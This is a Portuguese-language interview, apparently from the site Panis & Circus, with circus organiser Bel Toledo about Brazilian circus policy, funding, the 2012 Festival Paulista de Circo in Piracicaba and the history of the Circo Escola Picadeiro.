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E com Vocês...

Bel Toledo: do Circo Escola Picadeiro para o Festival do Circo


Circense propõe o mapeamento do circo para mostrar “a força” dessa arte e de seus pares

 

Circo de Ébanos, criação de Bel Toledo, no Festival de Piracicaba/ Foto Asa Campos

 

Prepare-se para a lista: a circense Bel Toledo é hoje presidente da Cooperativa Brasileira de Circo; diretora do Conselho Brasileiro de Entidades de Cultura; coordenadora da Aliança Pró-circo; integrante da Câmara Setorial do Circo do Governo do Estado de São Paulo; e integrante  da diretoria da Associação dos Amigos do Centro de Memória do Circo.

É boa de briga. Bate palma para Juca Ferreira, ex-ministro da Cultura, que batalhou pelo circo; acha que a gestão de Ana de Hollanda foi apagada para o picadeiro e tem grande expectativa com o papel a ser desempenhado pela atual ministra, Marta Suplicy.

Conseguiu de Antonio Grassi, da Funarte, ainda na gestão Ana de Hollanda, recursos destinados ao mapeamento da atividade circense. Em uma discussão acalorada sobre o circo, “o Grassi botou o dedo no meu nariz, mas não me intimidei: fui casada durante 20 anos com um domador de leão (José Wilson)”.

Lona do Festival no entardecer de Piracicaba

 

“O mapeamento do circo vai mostrar quem somos. Nossa força”, diz. Bel Toledo fala que que a atividade circense no Brasil é grande.

“Movimenta cerca de mil companhias de circo, entre grupos, lonas e espetáculos de variedades, com uma média de 25 profissionais cada uma, ‘itinerando’ pelo país, fazendo em média cinco espetáculos por semana. Isso representa, semanalmente, 25 mil artistas e técnicos apresentando 10 mil espetáculos circenses para um público de quase dois milhões de espectadores, pelo país afora, chegando a rincões onde só nós levamos atividade cultural.” Esses dados também estão no folheto  “Quero Circo na Minha Cidade”, feito em parceria com a UBCI (União Brasileira do Circo), Pro Circo e a Cooperativa Brasileira de Circo.

Bel Toledo e Tiririca

 

Bel Toledo tem simpatia pelo Palhaço Tiririca que, no Congresso, “está conseguindo emendas parlamentares em benefício do circo”.

Festival Paulista de Circo em Piracicaba (2012)

 

De 8 a 11 de novembro, ela esteve no 5º Festival Paulista de Circo, que é hoje o maior do gênero no país, em Piracicaba, distante a 160 quilômetros de São Paulo, no Engenho Central, e que reuniu mais de 200 artistas da produção circense, nas  lonas Piolin, Arrelia e Pimentinha.

Toledo foi responsável pela coordenação da Produção Artística do Festival e é a produtora e idealizadora do Circo de Ébanos – com elenco de artistas negros que mostram cenas de sua cultura, mesclada com as artes circenses.

Festival Paulista de Circo em Piracicaba

 

Integrante do Circo de Ébanos durante apresentação

 

Dança na apresentação

 

É a primeira vez que o Festival de Circo foi realizado em Piracicaba. Questionada pela reportagem do Panis & Circus se a mudança também teria implicado redução de verbas para o evento, Bel Toledo respondeu que “a cidade se interessou pela instalação do evento, tornou-se parceira” e que, em festivais, às vezes, corre a boataria inflada por interesses contrariados.

Bel Toledo foi parceira de José Wilson Moura Leite no projeto do Circo Escola Picadeiro, que durou da década de 1980 até 2005 no Itaim Bibi (zona oeste da capital). No picadeiro do Circo Escola, formaram-se artistas que trabalham com circo hoje, como os atores e palhaços Fernando Sampaio e Domingos Montagner, este último, na Rede Globo.

Muita gente praticava esporte no picadeiro, que ficava próximo ao viaduto Cidade Jardim. Crianças e jovens aprendiam as artes circenses ali, entre eles, a equilibrista Maíra Campos, com Alicinha, aramista do histórico Circo Nerino, de Roger Avanzi, o palhaço Picolino II, que foi mestre desses artistas, conhecidos como do circo novo. Era possível alugar o Circo Escola Picadeiro para festas de aniversário.

“O Circo Escola Picadeiro perdeu a força, mas deixou legado histórico pelo número de artistas expressivos que formou, entre eles, Raul Barretto, Hugo Possolo e Maíra Campos”, diz a circense.

Bel Toledo fala, nesta entrevista, da situação do circo tradicional, da situação dos circos nordestinos e destaca grupos expressivos na estética circense, do ponto de vista da administração da lona, como o Circo Fiesta, de César Guimarães, do ponto de vista da arte bem feita, que ela acredita que precisa ser cobrada de todo artista de picadeiro. Acompanhe.

Logotipo da Cooperativa Brasileira de Circo, dirigida por Bel Toledo

 

Panis & Circus – Que políticas públicas você pensa que são boas e importantes para o circo brasileiro?

Bel Toledo – Duas coisas nítidas: a cooperativa, que existe há quase sete anos, tem proposta clara de geração de emprego e renda para os cooperados e a gente tem ação política contundente, tanto é que me movimento em tantas entidades porque a proposta da cooperativa é definir claramente as políticas públicas para o circo brasileiro.

Estou inteirada das políticas públicas para a cultura no país porque a cooperativa era paulista e agora é brasileira. Fiz uma viagem em que fiquei 20 dias no Nordeste. Do Ceará fui até a Bahia visitando muitos circos e estou ciente da realidade dos circos do Nordeste.

 

Gestão pálida

Circus – Quais são as necessidades dos circenses?

Bel Toledo – As políticas públicas do Ministério da Cultura e da Funarte para o circo ficaram inexpressivas depois que o ministro Juca Ferreira saiu. Tinha começado devagar com ele, mas a gente não estava organizada.

Depois que a gente se organizou e foi à luta, o ministro respondeu a todas as demandas que a gente apresentou e foi estabelecido um diálogo muito bom, tanto com o Juca Ferreira, que nos recebeu várias vezes, como com Marcelo Victor Bones [diretor do Centro de Artes Cênicas], que era o representante na Funarte.

A gestão da ex-ministra Ana de Hollanda foi apagada.

Circus- Mas não foi na gestão Ana de Holanda que foi conseguida verba para efetuar o mapeamento do circo?

Bel Toledo – Sim, foi. Mas conseguimos verba para efetuar o mapeamento do circo, da Funarte, para mostrar quem somos, nossa força, depois de muito batalhar. O Grassi, da Funarte, chegou a colocar o dedo no meu nariz em uma discussão. Mas fui casada 20 anos com um domador de leão e não me intimido fácil. Eu e a Marlene Querubin escrevemos um artigo sobre as políticas públicas para o circo que pode ter incomodado. [Bel Toledo também fez um pronunciamento sobre a falta de política pública para o circo na Frente Parlamentar em Defesa da Cultura, em novembro 2011].

Link para o artigo

 

Escola Nacional de Circo sem orçamento 

Circus – Faça um histórico do orçamento para o circo nacional.

Bel Toledo – O teatro tem orçamento, o circo não tem nem isso, não é definido, o circo recebe investimento quando grita. A Funarte tem um departamento de circo e deveria ter um orçamento para alimentar a Escola Nacional de Circo e subsidiar projetos e programas.

A escola está caindo aos pedaços. O Juca Ferreira, antes de sair, fez o Pró-Cultura: deu 30 bolsas para artistas de circo brasileiro frequentar a Escola Nacional. Ao chegarem lá, viram que na alimentação, não tem mistura, só arroz e feijão. Agora imagine se tem professor, equipamento, estrutura para receber alunos bolsistas ou alunos normais. É uma piada. Em 2011 não teve nada.

Agora tenho uma grande expectativa com a chegada da Marta Suplicy ao Ministério da Cultura.

 

Picadeiros e escolas de circo no Brasil

Foto de dona Carola, do Circo Garcia

 

Circus – O circo brasileiro vive?

Bel Toledo – Não vou dar opinião pessoal, mas informações embasadas. Não está morrendo, não, isso foi uma balela que aconteceu em função de uma ação ruim e amadora do Circo Garcia. O circense que administrava o Garcia morreu e a mulher dele, dona Carola, passou a gerir o picadeiro. Era uma senhora muito simpática, que também já morreu, mas ela não tinha nenhuma condição de administrar o Circo Garcia. É uma história emblemática na nossa estrutura. Então ela saiu gritando que o circo estava morrendo porque o dela estava fechando e aí criaram essa onda de o circo ter se acabado.

A gente vive um grande momento, apesar das políticas públicas federais serem ruins.

 

Festival Paulista de Circo

Palhaça de azul na parte externa do Festival de Circo de Piracicaba (2012)

 

Bel Toledo – A gente faz um evento junto com a Secretaria de Cultura do Estado, que é o Festival Paulista de Circo. Foi feita uma versão em Limeira (interior de São Paulo), por exemplo, em 2011. No primeiro ano o público foi de 12 mil pessoas. No segundo ano, subiu para 30 mil espectadores. No terceiro ano a gente tinha 40 mil pessoas assistindo ao festival. No quarto festival, em Santa Bárbara do Oeste, os administradores do evento começaram a pensar em geração de renda.

Em novembro agora, no 5º Festival em Piracicaba, a afluência do público foi muito grande e estávamos mais voltados à qualidade e diversidade dos espetáculos.

 

Circo no Ceará e Minas

Bel Toledo – No Ceará, por exemplo, há uma ação forte para o movimento próprio deles lá, então, eles têm uma política clara.

Minas Gerais tem uma movimentação de se estruturar muito interessante também.

Circus – O circo está hoje mais organizado?  

Bel Toledo – Sim, e faz articulações mais consistentes. A própria estrutura do circo se renovou com o pessoal mais jovem. Na década de 1980, foram feitas escolas de circo.

Na primeira década do século 21, o Circo Zanni é um grande exemplo disso, houve alterações. Até então eram famílias que passavam as informações e ensinamentos. Era uma coisa fechada, era um bem que o circense tinha e que ele só passava para o filho dele.

Depois que as escolas abriram, vieram para o circo artistas que não eram do circo tradicional e trouxeram outras informações, do teatro, da dança, e a mescla é hoje o que a gente exemplifica com o Circo Zanni, de lona – eles não têm uma itinerância definida, mas representam esse movimento oriundo das escolas.

Circus – O público se renovou?

Bel Toledo – É impressionante. A gente tem mil circos, em média. Cada circo tem 25 artistas envolvidos, fazendo em média cinco espetáculos por semana. Aonde você vai que leva sogra, filho e irmã? Só o circo faz isso.

A Cooperativa tem movimentação grande porque a gente quer participar, coloca-se como agente de movimentação pra ter retorno político.

 

Palhaçaria Paulista: evento não acontece em 2012 por causa da troca de governo

 

Circus – Quando vai acontecer a Palhaçaria Paulista em 2012?

Bel Toledo – Neste ano, com a saída do Calil da Secretaria de Cultura Municipal, não vai ter a Palhaçaria Paulista. Mudança de governo. [A administração do prefeito Kassab (PSD-SP) vai dar lugar à de Fernando Haddad (PT/SP) em janeiro de 2013. A Palhaçaria acontecia sempre no final do ano.]

Circus – Como classifica a gestão do Calil?

Bel Tolelo – Ele deixou ao circo um prédio para a construção do Circo Escola Piolin, no centro da cidade, e o terreno ao lado do Shopping Norte para a montagem da Praça do Circo. São conquistas importantes para a classe circense; ele também apoiou a criação do Centro de Memória do Circo.

Circus – Como vê a atuação do deputado Tiririca?

Bel Toledo – Boa. Ele é o autor de uma emenda parlamentar que contempla com R$ 3 milhões de reais as atividades do circo. Em parceria com o Ministério da Saúde, conseguiu a inclusão do circense itinerante no SUS. Ou seja, mudança na lei que permite que o circense possua cartão do SUS, mesmo sem possuir comprovante de residência.

 

Circo Fiesta e Hugo Possolo no festival

Circus – Fale da Cooperativa Brasileira do Circo.

Bel Toledo – Todo mundo do circo está na cooperativa. A cooperativa tem um olhar claro de que a gente tem de fazer inclusão e a incursão no tradicional que é a fonte da arte circense.

Circus – O que significa ter atuação política, brigar nos plenários?

Bel Toledo – Não, significa fortalecer a atividade, o ser humano é um ser político. Imóvel, você já tem uma atitude política, agora, depende da maneira como encara o trabalho e como faz para fortalecer a classe em que você vive.

Circus – Conte sobre o Festival de Piracicaba. Você faz curadoria, escolhe quais os estilos dos grupos, gênero, linguagem?

Bel Toledo – A curadoria foi feita por Hugo Possolo, Mario Fernando Bolognesi e Natalia Duarte (da Secretaria). A parte técnica ficou com César Guimarães (Circo Fiesta), e eu fiquei com a coordenação da produção artística. Tenho, pelo meu raio de ação, conhecimento amplo, sei quem faz circo contemporâneo e o tradicional. Hugo conhece o que acontece no mundo de quem faz o circo contemporâneo e César conhece o circo tradicional.

Veja na seção “Clip Click” abaixo a crítica do livro “Palhaços”, de Mario Fernando Bolognesi, feita pelo jornalista Oscar Pilagallo Filho para o site Panis & Circus.

 

Circo na visão do público

 

 

 

 

 

 

 

Bel Toledo – O princípio da gente é dar condições para que o público veja o que é feito no circo e principalmente que o circense veja. É importante que os profissionais do Circo de Nápoli assistam ao Circo Zanni e vejam de que maneira o Zanni trata o espetáculo, qual é o olhar estético dele.

Essa informação é importante porque o Nápoli não a tem. O circo tem uma coisa diferente do teatro, o teatro você visita constantemente. Mas não se vai ao circo, a não ser se ele estiver em determinada cidade. Mas o outro circo está em outra cidade. A gente criou o festival para os circenses se conhecerem. Houve uma versão do festival em que fotografamos as carretas do Spacial, do Nápoli, do Stankowich juntas, isso significa que todo mundo estava se vendo naquele dia, o que era uma situação inédita pra nós.

 

60 espetáculos em 2011, com cachê

Em 2011, houve 60 espetáculos em cinco dias, com 525 artistas, todo mundo remunerado. A média do cachê ficou em nove mil reais por grupo. O Estado destinou um milhão e duzentos mil reais para o evento.

Circus – O que é mais urgente melhorar no circo?

Bel Toledo – Quando cheguei ao Nordeste, havia circo com o ingresso a um real para crianças e três reais para o adulto e eles vivem apenas da baixa bilheteria.

O circo precisa de apoio com uma política clara para que ele tenha condições e estrutura de montar espetáculos renovados, que reformule sua estética e faça a crítica dessa estética. Mas hoje o que o circense precisa é tão anterior a isso que ele não consegue pensar na qualidade do espetáculo. No Ceará, vi espetáculos fracos, mas porque o circense estava preocupado em comer, não pensava em mudar o número ou o figurino.

A gente precisa ter, do governo federal, uma ação intensiva e massiva como ocorreu com o cinema, que estava se esvaindo, mas conseguiu um investimento e hoje o cinema está fortalecido, os filmes são respeitados e o brasileiro é respeitado.

O Cirque du Soleil vem para o Brasil porque sabe que existe um público para circo e contrata uma multidão de brasileiros. O Cirque du Soleil está acostumado a contratar um artista que sabe fazer determinado número, muito bom de trapézio. No Brasil o artista é múltiplo, salta no trapézio, faz parada de mão, equilibra-se no arame porque a situação dele é essa no país. Se houver investimento a gente dá um salto imenso de qualidade.

Circus – No momento em que você se casa com o trapezista do circo, vira da família?

Bel Toledo – Nunca fiz número de circo.  Sempre administrei no mundo do circo. Sou do circo, eduquei minhas filhas dentro dessa história, trabalho muito para o circo porque tenho de retribuir o que recebi. Tenho avaliação crítica, mas também esse olhar afetivo. Trabalho para fortalecer o segmento do qual faço parte.

Saí do Circo Escola Picadeiro e montei uma escola de circo, a Oz Academia Aérea, na Lapa, e foi importante. Fiz parceria com o Soleil e muita gente da Oz foi para o Soleil. O Circo Amarillo teve uma história com a Oz, eles chegaram da Argentina [Marcelo Lujan e Pablo Nordio] e foram para a Oz; a aramista Maíra Campos finalizou o aprendizado brasileiro dela com os professores da Oz.

Circus – Fale do filme “O Palhaço”.

Bel Toledo – Participei do “antes do filme” do filme “O Palhaço” e toda a montagem do “Circo Esperança” foi feita pelo César Guimarães, do Circo Fiesta (que está no Festival de Circo de Piracicaba). Algumas soluções foram encontradas junto com a Cooperativa. Gosto muito do filme, ele mostra a realidade sem ser de uma maneira pejorativa, muito delicado.

Mostra a realidade do circo [tradicional]. A equipe do filme teve orientação da Alessandra Brantes, que foi da Escola Nacional do Circo e depois do Circo Roda Brasil, e ela decodificou de uma maneira muito elegante coisas que são muito nossas, dos problemas da gente. [Alessandra participou também do Festival de Circo de Piracicaba.] O palhaço Pangaré (no filme, interpretado por Selton Mello) quer comprar um ventilador e não consegue fazer prestação. As Casas Bahia, por exemplo, não vendem para circenses, e o filme mostra essa angústia. O filme traduziu também a precariedade da estrutura de um circo [tradicional] que entra na cidade e não tem alvará e aparece uma “autoridade” para cobrar dele esse alvará e o circense cede ingressos do espetáculo. São dados cotidianos na vida do circense [tradicional].

 

(Mônica Rodrigues da Costa; Colaborou Bell Campos. Fotos: Asa Campos e divulgação)

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